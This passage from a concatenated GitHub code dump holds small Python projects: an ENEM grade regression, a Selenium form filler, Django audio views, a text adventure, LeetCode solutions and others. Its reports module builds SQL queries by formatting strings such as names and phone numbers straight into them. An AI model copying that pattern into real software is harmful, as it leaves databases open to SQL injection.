of quantiles to divide the math grades' spectrum\r\n '''\r\n def __init__(self, n_quantiles=1500):\r\n super().__init__(self, normalize=True)\r\n self.n_quantiles = n_quantiles\r\n\r\n def fit(self, train_X, train_Y):\r\n '''\r\n Transform data and create a model to predict its behavior.\r\n\r\n Parameters\r\n ----------\r\n train_X: pandas DataFrame\r\n data used to train the model\r\n train_Y: pandas DataFrame\r\n data used to adjust the predictions of the model\r\n '''\r\n self.qt = {\r\n 'X': QuantileTransformer(n_quantiles=self.n_quantiles, output_distribution='normal'),\r\n 'Y': QuantileTransformer(n_quantiles=self.n_quantiles, output_distribution='normal')\r\n }\r\n self.train_X = pd.DataFrame(self.qt['X'].fit_transform(train_X.values))\r\n self.train_Y = self.qt['Y'].fit_transform(train_Y.to_frame())\r\n self.shape = self.train_Y.shape\r\n self.__fit_set(self.train_X, self.train_Y.reshape((1, self.shape[0]))[0])\r\n\r\n # original fit inherited from LinearRegression class\r\n def __fit_set(self, train_X, train_Y):\r\n return super().fit(train_X, train_Y)\r\n\r\n # original predict inherited from LinearRegression class\r\n def __predict_set(self, test_X):\r\n return super().predict(test_X)\r\n\r\n def predict(self, test_X):\r\n '''\r\n Transform data and create a model to predict its behavior.\r\n\r\n Parameters\r\n ----------\r\n test_X: pandas DataFrame\r\n Data used to predict the results. It must have the same format as the train dataset\r\n\r\n returns:\r\n numpy array with the corresponding prediction\r\n '''\r\n test_X = pd.DataFrame(self.qt['X'].transform(test_X.copy().values))\r\n shape = test_X.shape\r\n prediction = self.__predict_set(test_X).reshape(shape[0], 1)\r\n return self.qt['Y'].inverse_transform(prediction).reshape(1, shape[0])[0]\r\n\r\n def plot_dist(self, train_Y):\r\n '''\r\n Plot data distribution with the quantile transformation\r\n Parameters\r\n ----------\r\n train_Y: pandas DataFrame\r\n Collection of values to be transformed an analyzed\r\n '''\r\n plot_dist(quantile_transform(train_Y.to_frame(), n_quantiles=self.n_quantiles, output_distribution='normal')[:, 0])\r\n\r\n def save(self):\r\n '''\r\n Store model as a pickle in 'models/trained_models'\r\n '''\r\n path = os.path.join(Path(__file__).resolve().parents[2], 'models/trained_models')\r\n print(path)\r\n pkl.dump(self, open(path+\"/regression.pkl\", 'wb'))\r\n\r\nif __name__ == '__main__':\r\n\r\n # Logger set-up\r\n logger = logging.getLogger()\r\n logger.setLevel(logging.INFO)\r\n\r\n # create log file to store messages\r\n handler = logging.FileHandler('models/trained_models/regression.log')\r\n handler.setLevel(logging.INFO)\r\n\r\n # format logger\r\n formatter = logging.Formatter(\"%(asctime)s - [%(name)s] - [%(levelname)s]: %(message)s\")\r\n handler.setFormatter(formatter)\r\n logger.addHandler(handler)\r\n\r\n # display log messages in console\r\n handler = logging.StreamHandler()\r\n handler.setLevel(logging.INFO)\r\n formatter = logging.Formatter(\"%(asctime)s - [%(name)s]: %(message)s\")\r\n handler.setFormatter(formatter)\r\n logger.addHandler(handler)\r\n\r\n path = Path(__file__).resolve().parents[2]\r\n # input data\r\n logging.info('Ingesting files')\r\n train = pd.read_csv(os.path.join(path, 'data/interim/train2.csv')).set_index('NU_INSCRICAO')\r\n test = pd.read_csv(os.path.join(path, 'data/interim/test2.csv')).set_index('NU_INSCRICAO')\r\n train_X, validation_X, train_Y, validation_Y = train_test_split(train.iloc[:, :-1], train.iloc[:, -1], train_size=0.8, random_state=42)\r\n test_X = test.iloc[:, :-1]\r\n\r\n # tries to open the pickle file where the trained model is saved\r\n try:\r\n with open(os.path.join(path, 'models/trained_models/regression.pkl'), \"rb\") as f:\r\n model = pkl.load(f)\r\n logging.info('Loading model')\r\n\r\n # if file is not found it creates and saves a model from scratch\r\n except FileNotFoundError:\r\n model = TransformedLinearRegression(1500)\r\n model.fit(train_X, train_Y)\r\n model.predict(train_X)\r\n model.save()\r\n logging.info('Creating and saving model')\r\n\r\n # Mean absolute percentage error (MAPE)\r\n mape = lambda y_true, y_pred: abs((y_true-y_pred)/y_true).mean()\r\n\r\n logging.info('Evaluating model')\r\n\r\n predicted_train_Y = model.predict(train_X)\r\n predicted_validation_Y = model.predict(validation_X)\r\n\r\n logging.info('\\n\\\r\n +---------+-----------+----------------+\\n\\\r\n | Metrics | Train set | Validation set |\\n\\\r\n +---------+-----------+----------------+\\n\\\r\n | MAPE | {:.4f} | {:.4f} |\\n\\\r\n | R² | {:.4f} | {:.4f} |\\n\\\r\n +---------+-----------+----------------+\\n\\\r\n '.format(\r\n mape(y_true=train_Y, y_pred=predicted_train_Y),\r\n mape(y_true=validation_Y, y_pred=predicted_validation_Y),\r\n r2_score(y_true=train_Y, y_pred=predicted_train_Y),\r\n r2_score(y_true=validation_Y, y_pred=predicted_validation_Y)\r\n ))\r\n\r\n logging.info('Generating learning curves')\r\n\r\n train_sizes, train_scores, valid_scores = learning_curve(TransformedLinearRegression(1500), train.iloc[:,:-1], train.iloc[:,-1], scoring=scorer(mape), cv=5)\r\n\r\n # plot configuration\r\n fig = plt.gcf()\r\n fig.canvas.set_window_title('Learning curves of Linear Regression model with Quantile Transformation')\r\n plt.plot(train_sizes, train_scores.mean(axis=1), color='r', label='Training Score')\r\n plt.plot(train_sizes, valid_scores.mean(axis=1), color='g', label='Validation Score')\r\n plt.xlabel('Training Examples')\r\n plt.ylabel('MAPE')\r\n plt.legend()\r\n plt.show()\r\n\r\n # predict values for the test set\r\n logging.info('Infering test answers to send to CodeNation')\r\n prediction = model.predict(test_X)\r\n answer = test.copy().loc[:, []]\r\n answer['NU_NOTA_MT'] = 0\r\n answer.loc[test_X.index, 'NU_NOTA_MT'] = prediction\r\n answer.to_csv(os.path.join(path, 'models/prediction/regression/test2.csv'))\r\n","repo_name":"artur-deluca/jornada-code-nation-enem","sub_path":"src/models/regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":7082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72319494483","text":"# 多进程不共享全局变量,在使用到全局变量的时候,自己的进程中会自己创建一份儿\nimport multiprocessing\n\nnum1 = 111\nlist1 = [1, 2, 3]\n\n\n# 获取\ndef get_data():\n print(num1, list1)\n\n\n# 设置\ndef set_data():\n global num1\n num1 = 222\n list1.append('aaa')\n # 打印set之后的值\n print('set之后的值: ', num1, list1)\n\n\nif __name__ == '__main__':\n # 创建两个子进程\n # 先设置\n p1 = multiprocessing.Process(target=set_data)\n # 在获取\n p2 = multiprocessing.Process(target=get_data)\n\n # 开启进程\n p1.start()\n p2.start()\n\n # 进程等待\n p1.join()\n p2.join()\n\n print('最终结果: ', num1, list1)\n\n","repo_name":"Jasonmes/multiprocess--improved","sub_path":"11-进程-多进程不共享全局变量.py","file_name":"11-进程-多进程不共享全局变量.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41724854193","text":"import time\n\nfrom openpyxl import Workbook, load_workbook\n\nfrom WebDriver_CrossBrowser import driver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import Select\n\nwb = load_workbook(filename='DataFile.xlsx')\nsheet = wb['Sheet']\n\ndriver.get(\"https://www.orangehrm.com/orangehrm-30-day-trial/\")\ndriver.maximize_window()\nprint(driver.title)\ndriver.implicitly_wait(5)\n\n\"\"\"XPATH\"\"\"\nuserName = driver.find_element(By.XPATH, \"//input[@id='Form_submitForm_subdomain']\")\nname = driver.find_element(By.XPATH, \"//input[@id='Form_submitForm_Name']\")\nemail = driver.find_element(By.XPATH, \"//input[@id='Form_submitForm_Email']\")\nphoneNumber = driver.find_element(By.XPATH, \"//input[@id='Form_submitForm_Contact']\")\ncountry = driver.find_element(By.XPATH, \"//select[@id='Form_submitForm_Country']\")\n\nrowCount = sheet.max_row\ncolCount = sheet.max_column\n\nprint(rowCount)\nprint(colCount)\n\nfor i in range(1, rowCount + 1):\n userNameValue = sheet.cell(row=i, column=1).value\n nameValue = sheet.cell(row=i, column=2).value\n emailValue = sheet.cell(row=i, column=3).value\n phoneNumberValue = sheet.cell(row=i, column=4).value\n countryValue = sheet.cell(row=i, column=5).value\n\nprint(userNameValue, nameValue, emailValue, phoneNumberValue, countryValue)\n\n\"\"\"ACTIONS\"\"\"\nuserName.send_keys(userNameValue)\nname.send_keys(nameValue)\nemail.send_keys(emailValue)\nphoneNumber.send_keys(phoneNumberValue)\n\n\"\"\"DROP_DOWN Method\"\"\"\n\n\ndef select_values(element, value):\n select = Select(element)\n select.select_by_visible_text(value)\n\n\nselect_values(country, \"Bangladesh\")\ntime.sleep(10)\ndriver.close()\n","repo_name":"ebrahimhossaincse43/AutomationBasicUsingPython","sub_path":"DataFileRead.py","file_name":"DataFileRead.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"10922258755","text":"from models import autodb\nimport dbutils\nimport cacher\n\n\n#@cacher.create_table_name('reports', 'game_id', 600, cacher.KeyCache)\n@autodb\ndef reported(game_id:int, dbconnection:dbutils.DBConnection=None) -> bool:\n dbconnection.execute(\"SELECT COUNT(user_id) FROM reports WHERE game_id={}\".format(game_id))\n return dbconnection.last()[0][0] > 0\n\n\n@autodb\ndef report(game_id:int, user_id:int, status:int, dbconnection:dbutils.DBConnection=None):\n dbconnection.execute(\n \"INSERT INTO reports (game_id, user_id, status) VALUES ({}, {}, {})\".format(game_id, user_id, status))\n if status==2:\n duration = dbconnection.execute(\"SELECT duration FROM games WHERE game_id={}\".format(game_id))[0][0]\n dbconnection.execute(\"UPDATE users SET played_games=played_games+{} WHERE user_id={}\".format(duration, user_id))\n# cacher.drop_by_table_name('reports', 'game_id', game_id)\n\n\n@autodb\ndef report_unregistered(game_id:int, status:int, name:str, phone:str, dbconnection:dbutils.DBConnection=None):\n dbconnection.execute(\n \"INSERT INTO reports (game_id, status, name, phone) VALUES ({}, {}, '{}', '{}')\".format(game_id, status, name,\n phone))\n# cacher.drop_by_table_name('reports', 'game_id', game_id)\n\n\n@autodb\ndef report_additional_charges(game_id:int, description:str, cost:int, dbconnection:dbutils.DBConnection=None):\n dbconnection.execute(\"INSERT INTO additional_charges VALUES ({}, '{}', {})\".format(game_id, description, cost))\n\n\n#@cacher.create('reports', 600, cacher.KeyCache)\n@autodb\ndef get(game_id:int, dbconnection:dbutils.DBConnection=None) -> dict:\n # registered: user_id:int -> status:int, unregistered: name:str -> (status:int, phone:str)\n resp = {'registered': dict(), 'unregistered': dict(), 'additional':list()}\n dbconnection.execute(\"SELECT user_id, status FROM reports WHERE user_id>0 AND game_id={}\".format(game_id))\n if len(dbconnection.last()) > 0:\n for user in dbconnection.last():\n user_id, status = user\n resp['registered'][user_id] = status\n dbconnection.execute(\"SELECT name, phone, status FROM reports WHERE user_id=0 AND game_id={}\".format(game_id))\n if len(dbconnection.last()) > 0:\n for user in dbconnection.last():\n name, phone, status = user[0], user[1], user[2]\n resp['unregistered'][name] = (status, phone)\n dbconnection.execute(\"SELECT description, cost FROM additional_charges WHERE game_id={}\".format(game_id))\n if len(dbconnection.last()) > 0:\n for i in dbconnection.last():\n resp['additional'].append(i)\n return resp","repo_name":"sashgorokhov-heaven/python-sportcourts-bottle-old","sub_path":"models/reports.py","file_name":"reports.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37125503024","text":"class Solution(object):\n def containsDuplicate(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n\n \"\"\"\n # Time complexity: O(nums)\n # Space complexity: O(nums)\n # However, this code will run out of time\n hash = {}\n for i in nums:\n if i in hash.keys():\n return True\n else:\n hash[i] = 0\n return False\n \"\"\"\n hashSet = set()\n for n in nums: \n if n in hashSet:\n return True \n hashSet.add(n)\n return False\n\n\ns = Solution()\nprint(s.containsDuplicate([1,2,3,4,5,6,7,8]))\n ","repo_name":"tanshiyu1999/LeetCode","sub_path":"217.Contains_Duplicate/containsDuplicate.py","file_name":"containsDuplicate.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19714286957","text":"class Solution1:\n def maxProfit(self, prices: 'List[int]', fee: 'int') -> 'int':\n n = len(prices)\n if n < 2:\n return 0\n buy = [0 for i in range(n)]\n sell, s1, s2 = buy[:], buy[:], buy[:]\n buy[0], s1[0] = -prices[0], -prices[0]\n for i in range(1, n):\n buy[i] = max(sell[i - 1], s2[i - 1]) - prices[i]\n sell[i] = max(buy[i - 1], s1[i - 1]) + (prices[i] - fee)\n s2[i] = max(sell[i - 1], s2[i - 1])\n s1[i] = max(buy[i - 1], s1[i - 1])\n return max(max(buy), max(sell), s1[n - 1], s2[n - 1])\n\n\nclass Solution2(object):\n def maxProfit(self, prices, fee):\n cash, hold = 0, -prices[0]\n for i in range(1, len(prices)):\n cash = max(cash, hold + prices[i] - fee)\n hold = max(hold, cash - prices[i])\n return cash\n\n\nif __name__ == \"__main__\":\n a = Solution2()\n print(a.maxProfit([7,6,5,4,3,2,1], 2))","repo_name":"isabella0428/Leetcode","sub_path":"python/714.py","file_name":"714.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"3321604500","text":"import random\nfrom room import Room\nfrom item import Item\nfrom player import Player\nfrom colored import fg, bg, attr\nimport os\nfrom lightsource import LightSource\n\n\ndef clear(): return os.system('cls' if os.name == 'nt' else 'clear')\n\n\n# Declare all the rooms\n\nroom = {\n \"outside\": Room(\"Outside Cave Entrance\", \"North of you, the cave mount beckons\"),\n \"foyer\": Room(\n \"Foyer\",\n \"\"\"Dim light filters in from the south. Dusty\npassages run north and east.\"\"\",\n ),\n \"overlook\": Room(\n \"Grand Overlook\",\n \"\"\"A steep cliff appears before you, falling\ninto the darkness. Ahead to the north, a light flickers in\nthe distance, but there is no way across the chasm.\"\"\",\n ),\n \"narrow\": Room(\n \"Narrow Passage\",\n \"\"\"The narrow passage bends here from west\nto north. The smell of gold permeates the air.\"\"\",\n ),\n \"treasure\": Room(\n \"Treasure Chamber\",\n \"\"\"You've found the long-lost treasure\nchamber! Sadly, it has already been completely emptied by\nearlier adventurers. The only exit is to the south.\"\"\",\n ),\n \"streets\": Room(\"Streets\", \"Corona virus infested streets ­ЪЉЉ­Ъда­ЪЏБ№ИЈ,\\nPlease use a mask ­Ъўи\", True),\n \"city\": Room(\"City\", \"Corona virus infested city ­ЪЉЉ­Ъда­ЪЈЎ№ИЈ, \\nPlease use a mask ­Ъўи\", True),\n}\n\n\n# # Link rooms together\n\nroom[\"outside\"].n_to = room[\"foyer\"]\nroom[\"outside\"].s_to = room[\"streets\"]\nroom[\"foyer\"].s_to = room[\"outside\"]\nroom[\"foyer\"].n_to = room[\"overlook\"]\nroom[\"foyer\"].e_to = room[\"narrow\"]\nroom[\"overlook\"].s_to = room[\"foyer\"]\nroom[\"narrow\"].w_to = room[\"foyer\"]\nroom[\"narrow\"].n_to = room[\"treasure\"]\nroom[\"treasure\"].s_to = room[\"narrow\"]\nroom[\"streets\"].s_to = room[\"city\"]\nroom[\"streets\"].n_to = room[\"outside\"]\nroom[\"city\"].n_to = room[\"streets\"]\n\n\nroom[\"outside\"].items.append(Item(\"sword\", \"Long Sword\"))\nroom[\"outside\"].items.append(Item(\"coins\", \"Gold Coins\"))\n\n\n# Gets random room and puts the torch there\nkey, random_room = random.choice(list(room.items()))\nrandom_room.items.append(LightSource(\"torch\", \"Torch\"))\n\n\n#\n# Main\n#\n\n# Make a new player object that is currently in the 'outside' room.\n\n\nplayer = Player(\"Rodrigo\", room[\"outside\"])\n\n# Write a loop that:\n#\n# * Prints the current room name\n# * Prints the current description (the textwrap module might be useful here).\n# * Waits for user input and decides what to do.\n#\n# If the user enters a cardinal direction, attempt to move to the room there.\n# Print an error message if the movement isn't allowed.\n#\n# If the user enters \"q\", quit the game.\n\n\nprint(\"Lets play a game?\")\n\n\ndef menu():\n print()\n print(player)\n print(\"Where do you wanna go next? ­Ъцћ\")\n print(\"Choose one:\")\n print(\"\\tn: Move north ­ЪЉє\")\n print(\"\\ts: Move south ­ЪЉЄ\")\n print(\"\\tw: Move west ­ЪЉѕ\")\n print(\"\\te: Move down ­ЪЉЅ\")\n print(\"\\ti: See inventory ­ЪЉю\")\n print(\"\\tl: Look around ­ЪЉђ\")\n print(\" get Item: Pick up stuff РЏЈ№ИЈ\")\n print(\"drop Item: Drop stuff ­ЪњД\")\n print(\"\\tq: Exit ­Ъџф­ЪџХ\")\n print()\n\n\noption = None\n\nwhile option != \"q\":\n menu()\n\n option = str(input(\"Whats gonna be? \"))\n print()\n\n clear()\n\n if option in [\"n\", \"s\", \"w\", \"e\"]:\n player.move(option)\n if option == \"l\":\n if not player.current_room.is_light:\n print(\"It's pitch black!\")\n if len(player.current_room.items):\n print(\"%sYou see: %s%s\" %\n (fg(2), player.current_room.items, attr(0)))\n else:\n print(\"%sYou see nothing ­ЪЉЂ№ИЈ%s\" %\n (fg(2), attr(0)))\n if option == \"i\" or option == \"inventory\":\n print(\"%sYour inventory: %s%s\" % (fg(11), player.inventory, attr(0)))\n\n if option.count(\" \"):\n options = option.split()\n if options[0] == \"get\" or options[0] == \"take\":\n player.pickItem(options[1])\n if options[0] == \"drop\":\n player.dropItem(options[1])\n\n\nprint(\"The end\\n\")\n","repo_name":"rodrigograca31/Text-Adventured-Game","sub_path":"src/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28690087974","text":"from random import shuffle\n\ndef dnacrypto():\n\n DNA = 'ATGC'\n codons = [(l1+l2+l3) for l1 in DNA for l2 in DNA for l3 in DNA]\n letters = 'ABCÇDEFGHIJKLMNOPQRSTUVYWZabcçdefghijklmnopqrstuvywz1234567890. '\n dicio = [letter for letter in letters]\n\n shuffle(codons)\n shuffle(dicio)\n\n cryptodna = dict(zip(codons,dicio))\n return cryptodna\n\n\ndef codify(text, cryptodna):\n \n codedmessage = ''\n codedmessage = [codon for i in text for codon, letter in cryptodna.items() if i == letter]\n codedmessage = ''.join(codedmessage)\n return codedmessage\n\n\ndef uncodify(codedmessage, cryptodna):\n \n uncodedmessage = ''\n messagelist = [codedmessage[i:i+3] for i in range(0,len(codedmessage),3)]\n uncodedmessage = [cryptodna[codon] for i in messagelist for codon in cryptodna.keys() if i == codon]\n uncodedmessage = ''.join(uncodedmessage)\n return uncodedmessage\n\n\ncypher = dnacrypto()\n\ncmessage = codify(input(),cypher)\n\nmessage = uncodify(cmessage, cypher)\n\n","repo_name":"pedrocr83/dnacrypto","sub_path":"dnacrypto.py","file_name":"dnacrypto.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42142538724","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import AudioForm, SearchAudio\nfrom .models import Audios\n\n\napp_name = \"api\"\n\n\ndef home(request):\n all_audios = Audios.objects.all().values()\n print(all_audios)\n return render(request, \"home.html\", {\n \"audios\": all_audios,\n \"total\": len(all_audios),\n })\n\n\n@login_required\ndef upload_audio(request):\n if request.method == 'POST':\n # I used django forms. see forms.py file \n form = AudioForm(request.POST, request.FILES)\n print(form)\n if form.is_valid():\n form.save()\n return redirect('/')\n else:\n return render(request, 'simple_upload.html', {\n 'form': form,\n 'error': \"Something went wrong please try to upload again!\"\n })\n else:\n form = AudioForm()\n return render(request, 'simple_upload.html', {\n 'form': form\n })\n \n\n@login_required\ndef get_audio(request):\n if request.method == 'POST':\n # search data from the search form \n title = request.POST['title']\n \n # find the audio from the db\n audio = Audios.objects.filter(title=title).values()\n \n if audio:\n # if audio found then render the search_audio.html file and pass the audio\n return render(request, 'search_audio.html', {\n 'audio': \"http://127.0.0.1:8000/media/audio/\" + audio[0]['audio'].split('/')[1],\n 'title': title,\n }) \n else:\n # if there is no audio for search then render the upload form with a \n # error message \n form = AudioForm()\n return redirect('/upload/')\n else:\n form = SearchAudio()\n \n return render(request, 'search_audio.html', {\n 'form': form,\n })\n \n","repo_name":"anamulislamshamim/ki-elements-task","sub_path":"speech_bio_marker/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25012061805","text":"import pyttsx3\n\nvoicelist = []\nnumvoices = 1\n\nengine = pyttsx3.init()\nvoices = engine.getProperty('voices')\nnewVoiceRate = 150\nengine.setProperty('rate', newVoiceRate)\n\nfor voice in voices:\n engine.setProperty('voice', voice.id)\n print(f\"\\nVoice: {voice.name}\\n\")\n voicelist.append(voice.name)\n engine.say(\"Hello World! This is my Voice!\")\n engine.runAndWait()\n \nprint(\"Which voice would you like? Pick the number before the name you would like.\")\nfor i in range(len(voices)):\n print(f\"{i+1}. {voices[i].name}\")\n\nvoicechosen = int(input(\"voice: \"))\nengine.setProperty('voice', voices[voicechosen-1].id)\nengine.say(\"This is your chosen Voice!\")\nengine.runAndWait()\n\nwith open(\"voice.txt\", \"w\") as v:\n for voice in voices:\n if voicelist[numvoices] == voice.name:\n engine.setProperty(\"voice\", voice.id)\n v.write(engine.getProperty(\"voice\"))\n\nprint(f\"You chose {voicelist[numvoices]} for your voice. If You need to change the voice. Please erase all data from voice.txt and run this program again.\")","repo_name":"SpectraDevTeam/SamanthaVA","sub_path":"src/checkvoices.py","file_name":"checkvoices.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"31002210385","text":"'''\nJoey Zaka and Abbas Zaidi\nlevelThree.py\nthis part of the program is just the part where you walk to the boss door, no other obstacles\n'''\n\nfrom pygame import *\nimport shortcutFunctions\n\nscreen = display.set_mode((1024, 768)) \nmyClock = time.Clock()\n\n#navigation variables\nX = 0\nY = 1\nW = 2\nH = 3\nROW = 2\nCOL = 3\nBOT = 2\nSCREENX = 3\n\n#required picture (background and lives)\nbackPic = image.load('Backgrounds/LevelThree_BackPic.png').convert()\nlivesPic = image.load('Other/live.png')\n\n#GROUND AND BOTTOM FOR VEL\nGROUND = 633\nbottom = GROUND\n\n#vel and jumping\nv = [0, 0, bottom, 50]\njumpSpeed = -20\ngravity = 1\n\n#player\nplayer = [300, 600, 4, 0]\npRect = Rect(300, 600, 50, 50)\n\n#rect object for door\ndoorRect = Rect(3100, 300, 300, GROUND-300)\n\n#sound effects\njumpSound = mixer.Sound('audio/effects/Jump.wav')\nmovement = mixer.Sound('audio/effects/movement.wav')\nmovement.set_volume(.05)\nbossDoor = mixer.Sound('audio/Effects/bossDoor.wav')\nsword = mixer.Sound('audio/effects/sword.wav')\n\ndef drawScene(p, player, sprites, doorRect, lives, healthPic, v):\n 'draws the scene'\n\n offset = v[SCREENX] - p[X] #offset\n screen.blit(backPic, (offset, 0)) #draw the background according to the offset\n\n doorRect = doorRect.move(offset, 0) #move the door\n\n hitbox = shortcutFunctions.playerSprites(player, p, sprites, v, v[SCREENX]) #hitbox\n\n for i in range(lives+1): #drawing the amount of lives\n screen.blit(livesPic, (10 + 50*i, 80)) #blit the lives in the correct position\n screen.blit(healthPic[2], (0, 0)) #draw the health (in lv3, its always 2)\n\n display.set_caption(\"Super Swordy Boy - Level Three FPS = \" + str(int(myClock.get_fps()))) #set the display name\n myClock.tick(60) #60 fps\n display.update() #update the display\n\ndef move(p, player, sprites, v):\n 'moves the player'\n keys = key.get_pressed()\n\n leftEnd = 290 #left end of the screen\n rightEnd = 3500 #right end of the screen\n\n if keys[K_SPACE] and p[Y] + p[H] == v[BOT] and v[Y] == 0: #checking if the player can jump\n jumpSound.play() #play the jump sound\n v[Y] = jumpSpeed #set y-vel to jump speed\n\n if keys[K_x]: #checking if attacking\n sword.play() #play sword sound\n player[ROW] = 0 #set sprite row to 0\n\n elif keys[K_LEFT] and p[X] > leftEnd: #checking if trying to move left\n shortcutFunctions.moveGuyLeft(p, player, v, leftEnd, rightEnd) #move left (shortcut functions)\n\n elif keys[K_RIGHT] and p[X] + p[W] < rightEnd: #checking if trying to move righ\n shortcutFunctions.moveGuyRight(p, player, v, leftEnd, rightEnd) #move right (shortcut functions)\n\n else: #anything else would result in no movement and idle sprite\n player[COL] = 0\n player[COL] -= 0.2\n v[X] = 0\n\n player[COL] += 0.2 #add to sprite frame\n\n if player[COL] >= len(sprites[ROW]): #checking if end of the sprite row\n player[COL] = 1 #set the frame to 1\n\n p[X] += v[X] #adding horizontal vel to player\n player[X] = p[X]\n v[Y] += gravity #add gravity to vel\n\n return v #return the velocity to use as parameters in other functions\n\ndef check(p, player, sprites, v):\n 'checking function'\n\n hitBox = shortcutFunctions.playerSprites(player, p, sprites, v, v[SCREENX]) #create hitbox\n\n p[Y] += v[Y] #add vert vel to player\n player[Y] += v[Y] #same thing\n\n p[H] = hitBox[H] #set players height in rect object to hitbox height\n p[W] = hitBox[W] #same but with width\n \n\n if p[Y] + hitBox[H] >= GROUND: #checking if the player is trying to go below the ground\n v[BOT] = GROUND #set bottom to ground\n p[Y] = GROUND - hitBox[H] #set player to ground\n v[Y] = 0 #no vert vel\n\ndef checkBoss(door, p):\n 'check if the door was entered at the end of level 3'\n keys = key.get_pressed()\n if keys[K_RETURN] and p.colliderect(door): #checking if hit enter and collided with the door\n bossDoor.play() #play door sound\n return True #return true for main.py to know to change to boss scene\n return False #if not, return false (here because return acts as a break)\n\n\n","repo_name":"joeyzak1/ICS3U_FSE","sub_path":"levelThree.py","file_name":"levelThree.py","file_ext":"py","file_size_in_byte":4098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41482065628","text":"import csv\nimport json\nimport os\nfrom random import sample\n\nnumber_of_puzzles_to_include = 10000\n\npuzzle_db = os.path.join(os.path.dirname(__file__), './lichess_db_puzzle.csv')\npuzzle_json_output = os.path.join(os.path.dirname(__file__), './puzzles.json')\n\nwith open(puzzle_db) as f:\n reader = csv.reader(f)\n puzzles = sample(list(reader), number_of_puzzles_to_include)\n\n# Delete unnecessary puzzle data\nfor puzzle in puzzles:\n # We only need the first move in the correct answer sequence\n puzzle[2] = puzzle[2].split(' ', 1)[0]\n # Remove columns we don't need\n del puzzle[3:9]\n\nwith open(puzzle_json_output, 'w') as f:\n json.dump(puzzles, f, indent=4)\n","repo_name":"fitztrev/patzer-gives-a-check","sub_path":"puzzle-data/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"73032711762","text":"\nimport cv2\nimport os\n\nimage_path = r'a.jpg'\n\n# Image directory\ndirectory = r'dir_path'\n\n\nimg = cv2.imread(image_path)\n\nos.chdir(directory)\n\nprint(\"Before saving image:\")\nprint(os.listdir(directory))\n\nfilename = 'savedImage.jpg'\n\ncv2.imwrite(filename, img)\n\nprint(\"After saving image:\")\nprint(os.listdir(directory))\nprint('Successfully saved')\n","repo_name":"Arjunvankani/Basics-of-opencv","sub_path":"c3.py","file_name":"c3.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10107549304","text":"#%% imports\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sklearn\nfrom sklearn.decomposition import PCA\nfrom scipy.linalg import subspace_angles, qr,svd,orth,norm,inv, norm\nimport Models.process_data as process_data\nimport Models.models as models\n\n#%% get data\ndata=process_data.read_data()\nX,y=process_data.split_x_y(data)\nX=process_data.scale_data(X,'Max')\nNEG,POS=process_data.get_groups(pd.concat([X,y],axis=1))\nNEG=NEG.drop(['MRD Response'],axis=1).T\nPOS=POS.drop(['MRD Response'],axis=1).T\n\n# %%\ndef find_principal_vectors(NEG,POS):\n #find orthonormal basis for both matrices \n Q_n,Q_p=orth(NEG.values),orth(POS.values)\n #SVD\n U,s,Vh=svd(Q_n.T@Q_p)\n \n #Get principal vectors V_ i.e meta-patients from the two subspaces \n #(n for mrd- and p for mrd+)\n V_n=Q_n@U\n V_p=Q_p@Vh\n\n #nb_interations\n q=3\n j=0\n fig,axs=plt.subplots(nrows=2,ncols=4,figsize=(20,20))\n for i in [0,234]:\n v_n=V_n[:,i] #current mrd- meta-patient\n v_p=V_p[:,i] #current mrd+ meta-patient\n\n v_npp=np.zeros(v_n.shape) \n v_nnn=np.zeros(v_n.shape)\n v_npp[np.where(v_n>0)]=v_n[np.where(v_n>0)] #extract its positive part\n v_nnn[np.where(v_n<=0)]=v_n[np.where(v_n<=0)] #extract its negatve part\n\n \n v_ppp=np.zeros(v_p.shape)\n v_pnn=np.zeros(v_p.shape)\n v_ppp[np.where(v_p>0)]=v_p[np.where(v_p>0)] #extract its positive part\n v_pnn[np.where(v_p<=0)]=v_p[np.where(v_p<=0)] #extract its negative part\n \n axs[j,0].scatter(x=v_npp,y=v_ppp,c='r')\n axs[j,0].scatter(x=v_nnn,y=v_pnn,c='b')\n axs[j,0].scatter(x=v_npp,y=v_pnn,c='y')\n axs[j,0].scatter(x=v_nnn,y=v_ppp,c='g')\n\n p=np.sort(v_n*v_p)\n pp=np.sort(v_npp*v_ppp)\n pn=np.sort(v_nnn*v_pnn)\n n=np.sort(v_n**2+v_p**2)\n nn=np.sort(v_nnn**2+v_pnn**2)\n npos=np.sort(v_ppp**2+v_npp**2)\n \n 